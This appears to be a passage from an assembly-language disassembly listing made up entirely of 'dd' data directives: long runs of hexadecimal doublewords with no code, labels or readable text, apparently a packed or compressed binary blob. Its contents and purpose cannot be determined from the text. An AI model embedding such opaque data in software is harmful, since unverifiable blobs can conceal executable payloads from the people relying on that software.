		dd 1EEB2609h, 0EB58646Ah, 0E112A1Fh, 0FFFF4907h, 9F6CFFFFh
		dd 39B8A343h, 0F8EBD8CEh, 3C1710A5h, 3E5F078Ah,	0AC91F730h
		dd 0FEF03597h, 0FE814746h, 0FFFC2F5Bh, 271D67FFh, 14C6FBDBh
		dd 0F0DB1900h, 13737C36h, 30353937h, 0D6295F70h, 0FF5F1B30h
		dd 6BFFFFFFh, 501D7B6Fh, 5F1A4476h, 0C806F0FBh,	1E818D46h
		dd 0DBD3BF83h, 6A922DF4h, 505CBA03h, 0F1288D8Dh, 56FFFFFFh
		dd 67857EF8h, 0D16F1A0Ch, 0B6F04D14h, 66C9BAA9h, 50F01237h
		dd 374EC549h, 0FE653368h, 0F4BFFFFFh, 0BA056A37h, 2016F514h
		dd 595F84C3h, 0A1092D6Ch, 22970ACh, 0D91C3649h,	29EA631Fh
		dd 360DFFFFh, 86859BA3h, 0EBC52A5Fh, 723AE35h, 945F813Dh
		dd 0FF373817h, 56817FFFh, 153F0D7Bh, 302D2C70h,	3067BFCh
		dd 946D7948h, 1FF0B74Ah, 55B10F7Eh, 0A5FFFFFAh,	0B730898h
		dd 8D82327Fh, 0FC7D83C6h, 4A6D051Ch, 58B45EC7h,	0F0037E10h
		dd 0B9E9B0ADh, 4FF6D188h, 0FE54C903h, 0FFFFB42Ch, 2EBB7FFh
		dd 0B72236B1h, 0B0C20C80h, 0A4D94C8Eh, 4C52160Bh, 0D1D18218h
		dd 3ACFC234h, 0FF0B8918h, 72D06FFh, 0DA4CBFC3h,	0EA2546B7h
		dd 685001E3h, 4DEFE4B5h, 0FFE1701Dh, 4889097Fh,	0F76BC708h
		dd 0F80440BAh, 22D006F6h, 1FB5E50Bh, 0FFC68096h, 70B3F36Fh
		dd 4CA1D338h, 0EEA60D98h, 0C98DF87Fh, 3BC01FFFh, 7D3674ACh
		dd 0B0FA9E4h, 0CB136C67h, 1290BEh, 0C8FEDFFEh, 2AD0E499h
		dd 1F66810Ch, 2FD2FBBEh, 2BE4B1BDh, 7FFF9BC1h, 3479F803h
		dd 0F2CEE478h, 0B545FB0Dh, 2325C845h, 304AF8C8h, 2CFFF006h
		dd 0F48AC817h, 0FA6AF0F7h, 7AD61BF3h, 0FFFFFF32h, 591C7606h
		dd 6B54FA55h, 1C0AEF2Bh, 13A025EBh, 853B7E1Bh, 8A117428h
		dd 0FFFC1A0Ah, 380F84FFh, 5C2D080Eh, 804266E0h,	0F7F23BEFh
		dd 95E3A80h, 0CA350FC3h, 0DC01BFFCh, 9C76D5A8h,	676DDF0Ch
		dd 0F312B02Dh, 60E2A05h, 9501F4B0h, 99ED9C7Bh, 0FFFFFC4Bh
		dd 18A0C1Dh, 23A0CE6h, 0FF4241A2h, 0DB684E1Ah, 81EE75B6h
		dd 0C5A00601h, 4FFFFC6h, 0F8D83A28h, 75899E24h,	0FA3FBAF8h
		dd 0DBB13D53h, 0FF281E68h, 3BFFFFFh, 9D2307DEh,	3C4B6CD8h
		dd 33180FF4h, 0DFF429D2h, 0C82D2FFEh, 83D0C183h, 0B7709F9h
		dd 0FFFFFF88h, 42D8D9FFh, 0FFA8346h, 86DBE772h,	0F6ED285Bh
		dd 7D040EC6h, 9BF07403h, 0E198581h, 102AA6D8h, 0FFFFFF6Bh
		dd 6B99C9A5h, 0C53297B4h, 89D0115Ch, 0B9507010h, 3BB028E4h
		dd 5025B875h, 0C0D5C38Eh, 0C0FFFFFFh, 6A299D87h, 0F40E0C14h
		dd 0DE363DC8h, 5045E2DEh, 1688097Dh, 72D945C6h,	1BFFFF18h
		dd 0DE1BEBBCh, 516A28E3h, 16A51D8h, 5051FC05h, 0F426EEC8h
		dd 0FF67684Ch, 7FB7FFFh, 50F32B41h, 0C0D8CF1Bh,	0F03BA5F0h
		dd 4E74ECB3h, 4483F47Eh, 0F303FF89h, 0FE3E1C8Dh, 8DFFFF16h
		dd 5C570834h, 1B46CFC4h, 0CB2BEDFAh, 5C4C143Bh,	0C9BB1B73h
		dd 0FFFFFE7Eh, 6D392DFFh, 792BC3E9h, 148A2F03h,	40108833h
		dd 7CF13B46h, 97B76DF5h, 5B49E85Eh, 78FD2FFFh, 2B0EBF10h
		dd 1549F3DEh, 0AC1FDC48h, 0F57D27BBh, 0F575A063h, 0F4FFFFFFh
		dd 513E0C8Dh, 1B875D90h, 120FB3ECh, 2559F887h, 6A70C31Eh
		dd 0B5594C85h, 7F86440Fh, 87BFFFE1h, 0A21C59F4h, 557F4BBh
		dd 289EDCB7h, 25312557h, 5F3417E2h, 0FE44E19Fh,	0EFFFFFFh
		dd 0D1F50E01h, 8541FA33h, 5E5C0DC2h, 4E9F50F4h,	0DB1E493Dh
		dd 76E058E8h, 8826D839h, 0B7FFE45Dh, 0BC3905FFh, 377D390h
		dd 3C41E063h, 0FDA17DC3h, 0E6E597h, 0FF3C0C7Ch,	5AFFF4BFh
		dd 9B1E087Fh, 6EB37EAh,	6E5F6B1Eh, 7C41FBADh, 0C317040Dh
		dd 859AE883h, 5FFFFFFFh, 300777E8h, 0D00304C3h,	8082D285h
		dd 0DEDB612Bh, 50E589D1h, 46E45588h, 0FD2FC5E5h, 47F9E0FFh
		dd 786C1BCh, 0C34774F8h, 9C8F903h, 20FF35FEh, 16FFFF2Ch
		dd 0CE4342BFh, 0E93BCF2Bh, 0FE2D1144h, 24FE3712h, 8862DF2Bh
		dd 97473B0Ch, 48FFFFFEh, 0DCB2C175h, 8D17F0B0h,	7C2DFF48h
		dd 0FB2B193Dh, 87966907h, 371BE45Ch, 0FFFEB7E4h, 2C2CD3FFh
		dd 3F419424h, 6DBDC31h,	405F43DBh, 0BBF8A1C9h, 7D390405h
		dd 5C7EDB51h, 12FFFFA0h, 7E464109h, 0F8F3EB08h,	0AE047705h
		dd 0C120E976h, 0B7600BBh, 810BFA35h, 4AAC1CCAh,	0F0741DFDh
		dd 7FFFFFE8h, 6806F4FBh, 8FC76ABh, 0BD2BC82Bh, 1DC2CD6h
		dd 310EA04Eh, 0C152DE2Ch, 0E42510AAh, 0FFFF9756h, 977E40FFh
		dd 30DEC4Bh, 7D602568h,	0E8053D81h, 7D721103h, 2275853Bh
		dd 37A1D917h, 0FF12ADFFh, 0E50ADB52h, 25FA35AAh, 0F5EB32EFh
		dd 0CC98AD00h, 0FFFE3F68h, 596DFE37h, 3C6B641Ah, 818551Ah
		dd 0ECCB6C18h, 1B5694EAh, 101C8C4Ah, 0FF60D829h, 0DFDFFFFFh
		dd 0CA949D58h, 28F5A8DDh, 8E68D195h, 47587B09h,	531623EFh
		dd 1CA26650h, 4D2468DCh, 0FFB7E837h, 0B0B38E9Bh, 804C5353h
		dd 8BB7DBF1h, 0F18B6559h, 785EB7E1h, 5A75FFA3h,	0AB10B778h
		dd 20C6282Fh, 73208E54h, 0FFF33017h, 4EB7E37Fh,	8F29B302h
		dd 3BDF0913h, 0A31F15D9h, 0FF3274CFh, 0DA2E6435h, 0F02FFF0Bh
		dd 1C3E0942h, 2404181h,	0D42E2FBEh, 7D64095Ch, 0FFFF06DFh
		dd 0F740FFFFh, 0DCBB3D58h, 0FE496725h, 156C1D39h, 6ED8BAD1h
		dd 26160A74h, 1738117Fh
		dd 455D4390h, 2FFF5828h, 616FFF0h, 7035363Ch, 666684F4h
		dd 0BC02E539h, 7A5FF07Ah, 897ADA64h, 0FFFF041Dh, 3BBDFFFFh
		dd 498FB798h, 136805C7h, 6A9D201Fh, 0ED8E0FFh, 2F943AB3h
		dd 2113E0B0h, 381B3C25h, 0FFF120FEh, 0A20E817Fh, 0EEFC87AAh
		dd 305D5D1Bh, 0F18B262Fh, 0C6C46C3h, 0F46F7FF0h, 0D8BBBD1Bh
		dd 4EE2C83Bh, 0B9037310h, 0E9C1CB49h, 85FFD1BFh, 0C114491Dh
		dd 0BFF8EFC0h, 3FE083C2h, 5F406A3Fh, 0ADA9F82Bh, 4CAFFFFFh
		dd 7731830h, 0D4AF0453h, 89DCA8C0h, 0DCBA9506h,	0FFF84DD9h
		dd 0D2187FFFh, 6B6A120Ch, 0B25A37FFh, 40FB83CCh, 0FB8B2A72h
		dd 3906EFC1h, 65702F26h, 0FADFFF9Dh, 83298A17h,	0EB8340CBh
		dd 40F757DBh, 51DB754Fh, 5618C683h, 0FFFFDC23h,	944542FFh
		dd 9DC0BB78h, 593F6A7Eh, 77548D80h, 0E18002C6h,	83D817D6h
		dd 0FD4A3042h, 263302FFh, 5200C457h, 0B60E21CBh, 4C7E8D1Dh
		dd 0FD2FFD52h, 6CAFF985h, 18262D81h, 27F85ED8h,	973BB65Bh
		dd 6FAB4E53h, 50315BFDh, 83541405h, 0EA13EC7h, 50780CBAh
		dd 52FE897Fh, 406C867Fh, 79447C56h, 0D5BFE85Dh,	0FFFF7122h
		dd 8BFCEADFh, 33DA4079h, 0DAA923DEh, 6FE0503h, 8D113CBFh
		dd 0E6781394h, 56FFC1D7h, 7C2FFF8h, 0A3E0D703h,	33EEDB6Fh
		dd 0CF1B23DFh, 33B4DF29h, 0B4A1B756h, 0FFFFFFFFh, 8B6EFDCDh
		dd 0CC6C128h, 1D23F203h, 753F0819h, 52FFD6Fh, 70DB3BBCh
		dd 0CFC12420h, 7D89080Fh, 0FFFD1BE3h, 2EDA36F4h, 4EAE76EFh
		dd 0C585157h, 0C14EEE1Ch, 9FB6030Ah, 702B7837h,	6ACE1AE0h
		dd 0D0A33FEh, 0FFFF816Dh, 0F037FC1Bh, 4A03FE33h, 560FAF12h
		dd 0E6DB118Bh, 763395FEh, 0FA23FC55h, 0FF0B1A1Fh, 7114D2FFh
		dd 0EB5D6655h, 6587C62Ah, 3872FA29h, 6D818FCh, 0FFFA18FDh
		dd 1F53EADFh, 8BA8F813h, 0EC7C1C58h, 735ED776h,	0F7073B3h
		dd 0F5762581h, 4E17FFFFh, 95017936h, 7E73FD46h,	0E4019B76h
		dd 98D820CDh, 0AF246980h, 0F4BFD6F7h, 0C9F66DBFh, 5BB128DDh
		dd 0EF24E780h, 2C33439Eh, 5CD7BE70h, 0FFFFFFFFh, 0CDE4A89h
		dd 2230FC72h, 846B9011h, 3C5AD9BFh, 71933472h, 788BFD98h
		dd 0AEBB5A38h, 72383689h, 0FFFFFFFFh, 58F45D03h, 6DA0438Eh
		dd 0A679DB63h, 33783CECh, 5603F71Dh, 0BBD737FBh, 211E355Ah
		dd 0C149B408h, 0F46FFFF5h, 86BB72CEh, 0C3DFC33Eh, 0FC34F85Dh
		dd 6BC60495h, 62F2F62Dh, 0BF1BA170h, 305F663h, 4FA931D6h
		dd 70777173h, 2FFFC0BFh, 40B34067h, 610966C0h, 75C0DF1Bh
		dd 7000199Fh, 5E5AB8C2h, 1B6FFFF6h, 6FFDD734h, 0EC7C116h
		dd 23F71CC5h, 308533F2h, 0FF2E0568h, 79FFFFFFh,	0E9B6C7AAh
		dd 1B6B610Ch, 68F37B98h, 2F105D14h, 686B5CD6h, 66F201CDh
		dd 44145328h, 0FFFF3C02h, 9D81FFFFh, 0E6E4A777h, 1070D8A1h
		dd 0D3FBC869h, 0DDE4A6E7h, 6924D290h, 21E1CDE6h, 212FB938h
		dd 0FFFFD66Fh, 3707FF6Fh, 6E0C66C3h, 69D5E6F2h,	0F4D50D87h
		dd 5A14ED20h, 0CDE15945h, 0E9053400h, 0BFFA9E3h, 68DFFFFCh
		dd 8FFDB737h, 708BDE58h, 20DE0308h, 0F833D930h,	0E403BBC8h
		dd 0A37EEFA3h, 6F5A12FFh, 676F02D9h, 9FB988E6h,	0F1753072h
		dd 17F16D6Ch, 5E3031DAh, 14CC8D2Ah, 161B7D78h, 6FF1BFE3h
		dd 1BFB1CACh, 0FFFA3942h, 0B6E0CFF5h, 0A43AE9C6h, 0FFFF1A33h
		dd 36007E17h, 696FBAD0h, 0F681F803h, 0B538771h,	138BFA03h
		dd 73630FF8h, 0FF422ADCh, 332CFFFFh, 23C0097Eh,	3B9B6122h
		dd 6D9DDB34h, 9A8B1073h, 46384E6Eh, 0EBCDEEE3h,	44E85FFFh
		dd 5EE5D4B1h, 0E6B45A17h, 73E416B6h, 6CA7BA7Bh,	0FFFFADEFh
		dd 0D41C7FFFh, 447F6F7Ch, 54A4BEEAh, 0B259FB10h, 7CC421ADh
		dd 0DECFA979h, 0A952244Bh, 7A7C98B9h, 0FB7FFFFFh, 0C30C1633h
		dd 601C8DDEh, 8EF6BB4Bh, 0B2C87275h, 702892FCh,	34BEBFBCh
		dd 97D0B6D8h, 0FFFFFF85h, 7EC6C80Ch, 0EB38609Bh, 1327E40Eh
		dd 0A127FAFCh, 0FB0B0CEAh, 0DC1F77D9h, 0F52F4AEBh, 0D4EFFEA5h
		dd 0DB1F2D78h, 78185262h, 24831D05h, 46FF1042h,	130B4BEBh
		dd 9C7D75BCh, 2EF6C1FEh, 0D4D0397Ah, 8B7B7E36h,	3CC96DD9h
		dd 327887Ch, 6B99E5F0h,	8097B776h, 3F971A17h, 458BC2D8h
		dd 0A27CD484h, 0A5FFFFF6h, 0C773B61Fh, 0DDEF6F19h, 0E86BD857h
		dd 0AC56656Ch, 0DF3D66C4h, 0FFB2D3F7h, 79B7FC4Bh, 16D8300Bh
		dd 224440FCh, 0D6065B3Ch, 84A0D701h, 0FFC24416h, 0CB99FFFFh
		dd 5CBBCB35h, 432AFF97h, 0B016DE0Ah, 1BBCB35Ch,	23A759E4h
		dd 0DA0FAB94h, 0FFFD1B3Dh, 5BD9BB85h, 0A039E0DFh, 590BFC93h
		dd 0D6737921h, 0E975F013h, 59C3F1BFh, 0C977655Bh, 0CC92DC9Bh
		dd 19D88F0Ch, 5FFEFFEFh, 66D4BFFAh, 5DD1D448h, 0CDB78584h
		dd 5BD03490h, 6FA87E4Fh, 6F24E0F8h, 0BEDA386h, 0FE2CED17h
		dd 0A3014387h, 6F333B9Bh, 7FBBFEDFh, 0C44E0811h, 3C487E82h
		dd 35C0F753h, 37BD3AF2h, 0BBE85F43h, 0FFFFD7D2h, 0BC2AFB7Fh
		dd 6D86D391h, 8BEBF0BBh, 51EC0319h, 894D6204h, 0A9695109h
		dd 279D0CD4h, 0FFFD5141h, 0A214FF4Bh, 89CD6EDDh, 0B851019h
		dd 189919E1h, 60867816h, 0D1F01D82h, 0A37CD03Dh, 0EB604BD6h
		dd 5C5A6E30h, 4F04850h,	2FFFFFF8h, 6F7BB2C9h, 0B58D56E7h
		dd 4C0A1014h, 39D6755Eh, 3163433Bh, 0CCC9E968h,	7A17C551h
		dd 4DFF0223h, 0EBBF21B9h, 6FFB0F11h, 8A8DBEB4h,	0CC42E089h
		dd 274554Eh, 404A0888h,	0FE174332h, 0FFA0706Fh,	0E0BA3869h
		dd 0FB90C8Eh, 0F613DD8Ch, 0A144A681h, 46DCFFFFh, 310B02EFh
		dd 0DE37C53Bh, 0A28F77A2h, 22C76B0Ah, 0BFFFC6FFh, 0BC1B0336h
		dd 5C6A954h, 3D74F4EEh,	0DBADE473h, 0D4C4308h, 0FF5AE80Ch
		dd 0FFA970A0h, 4F6B5E12h, 0BF518DEAh, 791369C8h, 0FFFFD65Ah
		dd 0AC8DB2DFh, 0F9144A8Dh, 3B4020C2h, 5875EC55h, 174CD783h
		dd 0CEDFE22Ah, 0A5FF528Dh, 0A93F9DFFh, 352994B6h, 0DFC78061h
		dd 0C5CA459h, 0FF1D0A47h, 0C8FFFFFFh, 0C2E295A8h, 3241D74h
		dd 0A93047CFh, 13DADA97h, 972BB92Bh, 118A07h, 0B52ECEDEh
		dd 0F5BF4E41h, 7F12FFFFh, 0AD2B2AF5h, 980C4501h, 48D0ADEDh
		dd 0E3C1B9C0h, 62731404h, 32ED13A3h, 0FFFE17FFh, 683B9A39h
		dd 0DFD56DCFh, 0C509231Ch, 4A4ADB29h, 604C6ECh,	0F837BC6Bh
		dd 0FFF5C207h, 54B3FFFFh, 3910DB9h, 895EF3B3h, 1CC11A66h
		dd 0E9081B08h, 7FC2BA3Eh, 5304CBC3h, 17FF5F8Dh,	7CE16FFEh
		dd 2240FF1Eh, 5AADAD2Eh, 52850F71h, 0DB677ECFh,	0FB416C2Fh
		dd 0AB7F5683h, 44703FFFh, 1F492E76h, 85F196B4h,	86567FFFh
		dd 0C3695DB7h, 0B601237Dh, 0DD2718BAh, 89FF9817h, 0C2FFED7Ch
		dd 14A9BFFFh, 0FC2F0231h, 575EDC2h, 0EE7CE441h,	7DE80339h
		dd 5B7D6C5Fh, 0DBFFDA3Bh, 0CB60FFFFh, 167EC1EDh, 0BB065C4Fh
		dd 51124821h, 4FD5DFE1h, 3D7EC2FAh, 397EC73Bh, 0BADF5F85h
		dd 15B8FFD0h, 0FF8398BFh, 36307C07h, 353B19B0h,	7B82F713h
		dd 8B706FFFh, 1584FEABh, 0FA81DE56h, 0B30A98FEh, 0E972635Fh
		dd 0FFFC2F6Fh, 0C6500F30h, 0CD506717h, 0FB083A17h, 37870808h
		dd 0C3B9B05Bh, 0BADF720Eh, 10B8FFC4h, 0BA1CBC03h, 3B4B8FEDh
		dd 0BD6A710Eh, 80086802h, 0FF52FA97h, 3180685Fh, 0C63F544Fh
		dd 0A6840FBDh, 1472A33Ah, 0FFFFFFFFh, 0D9D08B0h, 25A2601Dh
		dd 0C9A2A0CCh, 0D4AD80BBh, 1FFFFDC3h, 516CC58Dh, 0D0741DB9h
		dd 0A1F49EBFh, 0FFFFFFFCh, 9D68D7FFh, 3CBC5361h, 1C3D6174h
		dd 916F5A73h, 0AF47FD05h
		dd 0A000257Dh, 4B199106h, 0FFFFFD68h, 0BD474BFFh, 8B3A432Dh
		dd 0DC4C13B5h, 0A1A256F8h, 975F42Dh, 0B0009981h, 6E09AD6Eh
		dd 0FFFFFFABh, 951E77CBh, 504F356Ah, 6D8ABA53h,	0F0303AC1h
		dd 409F0460h, 0BF5631Bh, 0FEAD5B32h, 0D55B7F0Bh, 0C8E0307Fh
		dd 207E831Fh, 99820F28h, 0FFFF92D7h, 8EE3EDFFh,	0FFC90DDDh
		dd 742C5E38h, 0FFC4921Bh, 7D617FF6h, 2C06D010h,	8B02752Eh
		dd 0FFFF40C8h, 0D238897Fh, 0CB3BE975h, 0DA88057Dh, 0D34BEADEh
		dd 0F6A1BEBh, 502D316Bh, 5FFFE870h, 796DFFEAh, 90BF9A66h
		dd 38E1A009h, 0A652111Fh, 3E22357h, 0D750A00h, 0FFFF6181h
		dd 9770FFFFh, 0AE454A0h, 6A52F587h, 1559BD8Bh, 45B46844h
		dd 0F8273141h, 0B9AEBF57h, 0CA5A88Dh, 8DFF4034h, 0D601FFDAh
		dd 0E17DE944h, 5B63B61Dh, 0B229C49Dh, 0E3608599h, 0FFFAB359h
		dd 0C016FFFFh, 47232472h, 4885C89Ch, 0D03217B6h, 0D8127274h
		dd 6590B0AFh, 8C59E05Fh, 2FB6C90Fh, 0E637E055h,	2E438112h
		dd 6C14ABE8h, 0FFFF60BFh, 0B7BEFFFFh, 0F4212174h, 64CEAECDh
		dd 444402A6h, 0FD5B21CDh, 4639850Dh, 0EB357720h, 0D508DB0Bh
		dd 0FC2F3382h, 0A1C0FFFFh, 7D84F613h, 6D463A57h, 1B580A51h
		dd 0EE0F016Ch, 2727E90h, 598F1F1Ch, 0FFFFFFFFh,	5B64735Fh
		dd 6C076992h, 7E360C1Bh, 0C9E3AC0Ch, 4EA511D0h,	99CE132Ch
		dd 1601F18Eh, 481D8B5Ch, 0FFFFFFF4h, 30E08585h,	0BB2BECF6h
		dd 0BD8D08D3h, 0F7B04F0Eh, 80492785h, 1274DC3Ch, 27C4F868h
		dd 0BDBE05FFh, 1570F65Ch, 0C11FCC1h, 0D108CFA0h, 0A468B0h
		dd 0FFFF76C8h, 0E63DFFFFh, 5959D028h, 501B9D2Ah, 0F5D82375h
		dd 0B4319351h, 756AFF1Fh, 5980A03h, 9323EEE7h, 6FC66DC3h
		dd 9D3FF85h, 1ECC39B4h,	0A3A746C0h, 0CCBDEE74h,	0FFD5693Ch
		dd 18837FFFh, 4619AC74h, 911EF96h, 0D9119ACEh, 0C690D916h
		dd 0CC91BF50h, 0FC1B8FC2h, 0D84DDBFFh, 7410A5B7h, 294B6A1Eh
		dd 6BAC3763h, 0D22248F2h, 0F56F7EF8h, 57BBFFFFh, 941EB60Ah
		dd 162D7110h, 57BF4C1Ch, 0B7953D8Ch, 55445CB8h,	0FFFF2758h
		dd 0F04BC40Bh, 0CC8C1Eh, 0E09B2253h, 7C53324Ch,	0D6F33BC0h
		dd 0FFFF5B3Ch, 690B8DFFh, 0C4FECD24h, 0C1337B33h, 0E0841D2Dh
		dd 5F0230E6h, 0CFD30E57h, 602A42D6h, 0FFA17FFFh, 8BC3BC52h
		dd 1AFBAF35h, 746CD980h, 231A051Fh, 6C37C404h, 4D88AF00h
		dd 0FFFFFFFAh, 6C4475D1h, 4BFBD6FFh, 5F686DB4h,	0C7E06807h
		dd 478B78EBh, 0B1B13764h, 604FBADDh, 0FFFFAB76h, 3970D2DFh
		dd 3A702364h, 0A4B62138h, 59AD92E0h, 5FF6037h, 1BADF6Eh
		dd 7FFFFFF8h, 44532573h, 3E141873h, 0E0055488h,	0A5DB1C38h
		dd 553E8AD8h, 0E8721346h, 0FF067640h, 0B9B7FFDBh, 2F3409B9h
		dd 4583F918h, 2B99BA65h, 0B67564A8h, 96718CE5h,	0FFFC8CC7h
		dd 0B58AFFFFh, 7C14746Fh, 71835FE8h, 0A574C583h, 0B84958h
		dd 0FC684146h, 0A8F13675h, 196894h, 6FFFFFFFh, 66CAE82Eh
		dd 21A80B1Fh, 6C1CFE80h, 751C2CC1h, 2EA86A4Fh, 9DC1A501h
		dd 88DB819h, 2FFD4BAh, 8774F62Ch, 58933DB7h, 84F5341Fh
		dd 0FFFFFF49h, 189BB85Fh, 74229D38h, 0BF2E2A0Dh, 2DA43C23h
		dd 0B8930214h, 788D892Ch, 459F6322h, 0FF46A935h, 48B8FFFFh
		dd 0DBA3B899h, 90BD3D6Ch, 5E84BEA8h, 833D41BBh,	0FDF03CB1h
		dd 0FF9CDE56h, 6BFFFF1Bh, 139C0F32h, 0C698EF50h, 0D91B4558h
		dd 9E049B30h, 1B2461F0h, 92319B9Fh, 0FFF817FEh,	99490C71h
		dd 0C3B92D08h, 1A530A2Eh, 0D71719D7h, 0DEBB2596h, 0FF1250B8h
		dd 88B7E85Fh, 0D9E336A5h, 56A5CB2h, 6B48696h, 3FD1839Dh
		dd 0FFFFA302h, 309FF5Bh, 8A491B77h, 0D5BABEE8h,	0D92F7BE6h
		dd 920FB7BBh, 0B9B26BA4h, 0C9D8ADFh, 0FFFFE37Fh, 17B96468h
		dd 0EC61BF9h, 6624DEE9h, 430FC60Fh, 5B7B2600h, 9C4332F8h
		dd 0FFFF8D4Bh, 456AFFFFh, 0A71E73EDh, 6CAE4468h, 6B1FA0D6h
		dd 272CFE40h, 5172BFCh,	5EB77C5Ah, 94668391h, 0FF811438h
		dd 6F2AFFFFh, 0C41C73C2h, 356FF6C6h, 0ABEE7D8Dh, 2066AABh
		dd 4166FA01h, 29768DD3h, 746F817Ch, 19A04B92h, 0FBF5F3BFh
		dd 0A91FA4BDh, 2FFE8DFFh, 0A808CF67h, 6669506Ah, 0E56FB70Dh
		dd 981EDCECh, 6AEE0E66h, 0D6FF6FFFh, 538D8D10h,	3D3E3659h
		dd 0A6E8299Eh, 3D174010h, 5621114Ah, 6FFF734Eh,	180BFFFCh
		dd 5EBB9002h, 0C1A1161Ch, 0C0C5A269h, 5BB0CBA9h, 4141710Fh
		dd 18424B94h, 0FFEDFFFFh, 0B2440A42h, 26AC6E67h, 52B06808h
		dd 74BA66D8h, 3871572Ch, 7866D57h, 6CE293Bh, 0FFFFFFA9h
		dd 5E00FCC1h, 0BDCDED19h, 0F6408C18h, 24741520h, 0E5FA3B04h
		dd 187419E5h, 0FFFAEF50h, 0E46E625Fh, 0EB817CA1h, 0CFCC0A13h
		dd 678A1DFh, 574A10Ch, 0FFF42FA1h, 5CC6F85Fh, 3A36561h
		dd 800DC8D0h, 7E96B518h, 8BB4C914h, 2DF0B625h, 715F12FEh
		dd 0E7493A3h, 0C2819969h, 0C6FFB745h, 0F2E6BFFFh, 0C17F275h
		dd 0CD70168Dh, 0A038EB3Fh, 57360B25h, 0ED66DEFEh, 0FFFF855Dh
		dd 0A72ED5BFh, 635553EAh, 2623441Dh, 8A0C3E23h,	740D2716h
		dd 0E1892858h, 7FFFC1DDh, 88E1FF8Bh, 0F143EBFh,	0E2BCD486h
		dd 9BED9006h, 0CE525A85h, 46B70FC3h, 4BFE5002h,	0F12CFFFCh
		dd 0BC990A85h, 1076D283h, 0BFABE183h, 8E3C046Ch, 1A0C4F0Bh
		dd 0FFE0A5C0h, 0F0401ADh, 0E26CA4BFh, 2BB755BFh, 0FFFF1FD9h
		dd 7818A17Fh, 0B6EB2387h, 85F87D87h, 0C76D086h,	49797510h
		dd 8B6DB347h, 0FEDEC050h, 0E809FFFFh, 700B0702h, 1E1BB605h
		dd 0F80C15FDh, 82DD08C9h, 0C325BB9h, 3406DF05h,	0FFFF4513h
		dd 0BCAD3F17h, 0DBB42CFDh, 0C5243A74h, 0B21029EBh, 2A7C8C8Ch
		dd 0BFFFFFFFh, 0EBE31D46h, 0C70F132Eh, 7B181153h, 41B49AAEh
		dd 3D8378ADh, 0EF81FE60h, 0E1374234h, 0DBFAB227h, 1C1EEADFh
		dd 56AB98B4h, 24561B32h, 2C9EBA52h, 25BEA0D5h, 32DC6FFEh
		dd 34E8A0BFh, 0F300E462h, 98EB7A8h, 0E36AC2C4h,	8B23FFFFh
		dd 2E6C1F3h, 82164F8Dh,	0B3A38715h, 0CB1D3B47h,	0E9B7EA68h
		dd 0BBDFFFFFh, 6C08E0E2h, 0B75DB30h, 2698B89Eh,	0E7709C7Ah
		dd 6462A5C8h, 20E1B0FFh, 7FFFFFFFh, 45CF60A4h, 0A19D6EBh
		dd 0DC7F08A6h, 0E674F742h, 5057E4EDh, 864B08C3h, 2E4D2C8h
		dd 0FFF0461Ah, 0CBD0897Fh, 3CAD93C0h, 74C44AE4h, 374832B5h
		dd 98F871B2h, 0FFFFAC14h, 0B812FFFh, 0C4F4C774h, 0B9341D68h
		dd 9681B757h, 0A33C398Ah, 0F1575E8h, 4CCD6CF0h,	0C5BF824Ch
		dd 7CF0FFFFh, 11B0EE02h, 32701AABh, 0B35E4068h,	157205BDh
		dd 5C0D32D3h, 0A360D707h, 30DEE217h, 0E331130Bh, 0FFA652BDh
		dd 435A97FFh, 0E6A55083h, 0A91B67AAh, 1311910Eh, 6C635980h
		dd 40A541B6h, 0FFF8156Fh, 0FF25C83Dh, 0FA7D0586h, 0AA1B0ABFh
		dd 682DB245h, 0FF1B2546h, 7868EDFFh, 6CB3A09h, 6348C6CDh
		dd 5C27B86Dh, 0C06E1535h, 36B6D42Ch, 0FFFFFFFFh, 0BCE05445h
		dd 0D561ACB5h, 89042837h, 1807EB06h, 0CF0E9E90h, 0B5603340h
		dd 813E9CDDh, 68F81607h, 0FB7FC5BFh, 682D5743h,	0EB073E88h
		dd 856F690h, 0C1994694h, 0D4CB18C1h, 0FFFFFFFFh, 79010401h
		dd 0F121895Bh, 0DBE65740h, 0D1A00A78h, 1A483823h, 0AE6DAB51h
		dd 224A2101h, 6AB1C866h, 0AB7FFC6Fh, 0A564E673h, 0E00C56DCh
		dd 8B5EFC61h, 0C5C5BC3h, 0C2FFB202h, 6990FFFFh,	0AA5140E0h
		dd 6C59EC9Ch, 37F25AABh, 5053149Fh, 582F9091h, 56509221h
		dd 0FF8374BEh, 0AB9DD00h
		dd 99A3AE02h, 0E45906FFh, 0CA7426Ch, 0FFFFF89Ah, 3F6E8A37h
		dd 8973EBF8h, 0FDF44407h, 0F1229CB0h, 6210CD98h, 0ACC4B9BFh
		dd 0FFADFF45h, 19F8B317h, 0B248BBE1h, 0FE8302BAh, 14DC5675h
		dd 6146B7Bh, 0FFFF3F4Ch, 7251C4BFh, 1210D4C3h, 0A1848D87h
		dd 0B0092410h, 488B8138h, 0D45D7AA1h, 0FFF89E4Eh, 70A0A5FFh
		dd 22D85A1Ch, 2D0A9AE4h, 776763AFh, 245D9FEDh, 48271754h
		dd 0F42FA975h, 3F9B97h,	0D63081CAh, 855514BFh, 0BFFF6964h
		dd 0DA097FFDh, 9D264331h, 3BD93138h, 2C31D859h,	86EF875h
		dd 44C266D2h, 5CEB0E09h, 0FF85FFFFh, 6CC0D746h,	4214ED0h
		dd 81806CCDh, 744FD6DBh, 0D1DA03h, 0AECC0387h, 0BBFA9C2Ch
		dd 0B232FE37h, 25F32E39h, 0DCE09EE4h, 0D4D80032h, 2E02CCD0h
		dd 0BF12F58h, 0E5F18D34h, 54283560h, 0BE8E73BAh, 0E05EB756h
		dd 0E777C2C0h, 6D03D18Bh, 5508BD76h, 82FFFFFCh,	17EB70A4h
		dd 0F981693Bh, 941F72D3h, 0DB858EFCh, 2D024EDFh, 0BFFFFFEDh
		dd 0FE683A7h, 0B35F5E24h, 52AEF51h, 0FD4F2269h,	0BE8BC7F7h
		dd 97A2A980h, 0FFFFE660h, 5CB312FFh, 7FED85BEh,	0A5F32A72h
		dd 249524FFh, 51906A3Bh, 0BC831DBAh, 16FF837Dh,	7C05FFFFh
		dd 3E05E72h, 8518C803h,	0ECD73A38h, 3496ADCEh, 483AB807h
		dd 0BFEB604h, 37FFEDFDh, 2398A35Dh, 88068AD1h, 880146EEh
		dd 2050147h, 0FFFF0B19h, 57E6DEA5h, 0C7C65A08h,	0B195CC5Dh
		dd 498D2765h, 0B6C3252Bh, 0FE8DFB7Dh, 0C783B9E4h, 0E623A602h
		dd 0DB3C81DDh, 61B2943h, 0FFFFBA08h, 3C944ADFh,	0F03AF800h
